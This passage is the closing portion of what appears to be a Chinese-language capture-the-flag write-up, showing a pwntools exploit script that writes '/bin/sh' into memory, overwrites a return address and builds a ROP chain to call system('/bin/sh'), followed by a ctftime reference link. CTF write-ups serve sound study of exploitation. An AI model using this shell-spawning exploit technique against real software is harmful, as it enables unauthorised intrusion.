    write_name(1, '/bin/sh\x00')
    write_name(0, p64(main_ret_addr))
    write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr))  # system('/bin/sh')

def pwn():
    add()   # call longjmp to back to main
    io.interactive()

if __name__ == "__main__":
    overflow()
    leak()
    overwrite()
    pwn()
```

## 参考资料

* <https://ctftime.org/task/3169>
